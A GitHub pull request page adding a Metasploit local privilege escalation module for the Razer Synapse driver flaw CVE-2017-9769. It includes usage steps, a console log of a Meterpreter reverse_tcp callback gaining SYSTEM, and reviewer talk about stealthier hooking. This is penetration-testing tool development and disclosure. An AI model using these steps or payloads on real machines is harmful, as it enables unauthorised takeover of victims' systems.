New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Module for Razer Synapse (CVE-2017-9769) #8723

Merged
merged 4 commits into from Jul 17, 2017

Conversation

Projects
None yet
4 participants
@zeroSteiner
Contributor

zeroSteiner commented Jul 14, 2017

This PR adds a local privilege escalation module that exploits a currently unpatched vulnerability in Razer's Synapse application. The vulnerability exists within the rzpnk.sys driver where a specially crafted IOCTL can be used to open a handle to an arbitrary process with the necessary privileges to read, write, and allocate memory.

This vulnerability is identified by CVE-2017-9769.

The exploit module leverages the vulnerability to open a handle to the winlogon process which runs as NT_AUTHORITY\SYSTEM. The handle is then used to install a hook to execute the payload in a new thread. The hook can then be triggered on demand by the attacker with a call to user32!LockWorkStation.

Verification steps:

  • Download and install the latest version of Razer Synapse (no hardware needs to be connected for exploitation)
  • Start msfconsole and get a meterpreter session as a user
  • use exploit/windows/local/razer_zwopenprocess
  • set SESSION -1
  • Set an appropriate x64 payload
  • Run the exploit and receive a session as SYSTEM
  • Note that the workstation is locked but winlogon is stable

Example usage on Windows 10 x64:

metasploit-framework (S:0 J:1) payload(reverse_tcp) > 
[*] [2017.07.11-11:17:42] Sending stage (1188415 bytes) to 172.20.220.196
[*] Meterpreter session 1 opened (172.20.220.101:4444 -> 172.20.220.196:49681) at 2017-07-11 11:17:44 -0400

metasploit-framework (S:1 J:0) payload(reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : DESKTOP-LDICAD0
OS              : Windows 10 (Build 10586).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background 
[*] Backgrounding session 1...
metasploit-framework (S:1 J:0) payload(reverse_tcp) > use exploit/windows/local/razer_zwopenprocess 
metasploit-framework (S:1 J:0) exploit(razer_zwopenprocess) > set SESSION 1
SESSION => 1
metasploit-framework (S:1 J:0) exploit(razer_zwopenprocess) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
metasploit-framework (S:1 J:0) exploit(razer_zwopenprocess) > set LHOST 172.20.220.101
LHOST => 172.20.220.101
metasploit-framework (S:1 J:0) exploit(razer_zwopenprocess) > exploit

[*] [2017.07.11-11:18:25] Started reverse TCP handler on 172.20.220.101:4444 
[*] [2017.07.11-11:18:26] Successfully opened a handle to the driver
[*] [2017.07.11-11:18:27] Found winlogon.exe pid: 492
[*] [2017.07.11-11:18:27] Successfully opened a handle to the driver
[+] [2017.07.11-11:18:27] Allocated 705 bytes in winlogon.exe at 0x1f30f370000
[*] [2017.07.11-11:18:28] Wrote the 125 byte hook stub in winlogon.exe at 0x2143443943873
[*] [2017.07.11-11:18:28] Installed user32!LockWindowStation trampoline at 0x7ffcef499d20
[*] [2017.07.11-11:18:30] Sending stage (1188415 bytes) to 172.20.220.196
[*] Meterpreter session 2 opened (172.20.220.101:4444 -> 172.20.220.196:49689) at 2017-07-11 11:18:31 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
@OJ

Love your work as always @zeroSteiner, just got a few comments/questions for ya!

Show outdated Hide outdated modules/exploits/windows/local/razer_zwopenprocess.rb
Show outdated Hide outdated modules/exploits/windows/local/razer_zwopenprocess.rb
Show outdated Hide outdated modules/exploits/windows/local/razer_zwopenprocess.rb
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
end
session.railgun.user32.LockWorkStation()

This comment has been minimized.

@OJ

OJ Jul 14, 2017

Contributor

What are your thoughts on doing the following:

  1. Generating a hook stub that launches the shellcode on another thread and then returns immediately.
  2. Copying the bytes located at the LockWorkStation method to back them up.
  3. Write the hook stub to LockWorkStation.
  4. Invoke LockWorkStation so that the hook runs, but doesn't actually pass control to the original function (ie. it just returns after the thread is created).
  5. Restore the bytes to LockWorkStation that were overwritten by the hook.

Is this within the realms of possibility? This would mean that the hook wouldn't be active for any longer than it was required, and it would be more opsec safe?

@OJ

OJ Jul 14, 2017

Contributor

What are your thoughts on doing the following:

  1. Generating a hook stub that launches the shellcode on another thread and then returns immediately.
  2. Copying the bytes located at the LockWorkStation method to back them up.
  3. Write the hook stub to LockWorkStation.
  4. Invoke LockWorkStation so that the hook runs, but doesn't actually pass control to the original function (ie. it just returns after the thread is created).
  5. Restore the bytes to LockWorkStation that were overwritten by the hook.

Is this within the realms of possibility? This would mean that the hook wouldn't be active for any longer than it was required, and it would be more opsec safe?

This comment has been minimized.

@zeroSteiner

zeroSteiner Jul 14, 2017

Contributor

I wanted to avoid that since the function is technically undocumented. Messing with winlogon was something I was apprehensive to do to begin with given the implications of it crashing. I would have to look into it and see if the parameters are stable across Windows versions, and that simply returning a value in RAX would maintain the level of stability I desire.

@zeroSteiner

zeroSteiner Jul 14, 2017

Contributor

I wanted to avoid that since the function is technically undocumented. Messing with winlogon was something I was apprehensive to do to begin with given the implications of it crashing. I would have to look into it and see if the parameters are stable across Windows versions, and that simply returning a value in RAX would maintain the level of stability I desire.

This comment has been minimized.

@OJ

OJ Jul 14, 2017

Contributor

Fair enough mate. Thanks again for explaining things to me 👍

@OJ

OJ Jul 14, 2017

Contributor

Fair enough mate. Thanks again for explaining things to me 👍

@thelightcosine thelightcosine merged commit b4813ce into rapid7:master Jul 17, 2017

1 check passed

continuous-integration/travis-ci/pr The Travis CI build passed
Details

thelightcosine pushed a commit that referenced this pull request Jul 17, 2017

David Maloney David Maloney
Land #8723, Razr Synapse local exploit
lands ZeroSteiner's Razr Synapse local priv esc module
@thelightcosine

This comment has been minimized.

Show comment
Hide comment
@thelightcosine

thelightcosine Jul 17, 2017

Release notes

The exploits/windows/local/razer_zwopenprocess module has been added to the framework. The module exploits a vulnerability within the rzpnk.sys driver, Razer Synapse, where a specially crafted IOCTL can be used to open a handle to an arbitrary process with the necessary privileges to read, write, and allocate memory. In order for the issued IOCTL to work, the RazerIngameEngine.exe process must not be running. This exploit will check if it is, and attempt to kill it as necessary. This exploit is not opsec-safe due to the user being logged out as part of the exploitation process.

thelightcosine commented Jul 17, 2017

Release notes

The exploits/windows/local/razer_zwopenprocess module has been added to the framework. The module exploits a vulnerability within the rzpnk.sys driver, Razer Synapse, where a specially crafted IOCTL can be used to open a handle to an arbitrary process with the necessary privileges to read, write, and allocate memory. In order for the issued IOCTL to work, the RazerIngameEngine.exe process must not be running. This exploit will check if it is, and attempt to kill it as necessary. This exploit is not opsec-safe due to the user being logged out as part of the exploitation process.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment